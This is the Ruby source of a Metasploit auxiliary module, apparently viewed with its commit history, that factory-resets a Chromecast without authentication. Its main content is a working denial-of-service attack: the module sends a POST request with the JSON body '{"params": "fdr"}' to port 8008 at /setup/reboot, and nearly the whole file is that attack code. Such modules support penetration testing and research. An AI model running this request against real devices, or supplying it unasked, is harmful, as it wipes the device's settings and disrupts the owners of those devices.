metasploit-framework/modules/auxiliary/admin/chromecast/chromecast_reset.rb

59 lines
1.4 KiB
Ruby
Raw Normal View History

2014-06-18 15:04:17 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-06-18 15:04:17 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Chromecast Factory Reset DoS',
2014-06-18 15:04:17 +00:00
'Description' => %q{
This module performs a factory reset on a Chromecast, causing a denial of service (DoS).
No user authentication is required.
2014-06-18 15:04:17 +00:00
},
'Author' => ['wvu'],
'References' => [
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website
2014-06-18 15:04:17 +00:00
],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(8008)
], self.class)
end
def run
res = reset
if res && res.code == 200
print_good('Factory reset performed')
elsif res
print_error("An error occurred: #{res.code} #{res.message}")
2014-06-18 15:04:17 +00:00
end
end
def reset
begin
send_request_raw(
'method' => 'POST',
'uri' => '/setup/reboot',
'agent' => Rex::Text.rand_text_english(rand(42) + 1),
'ctype' => 'application/json',
'data' => '{"params": "fdr"}'
)
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
end
end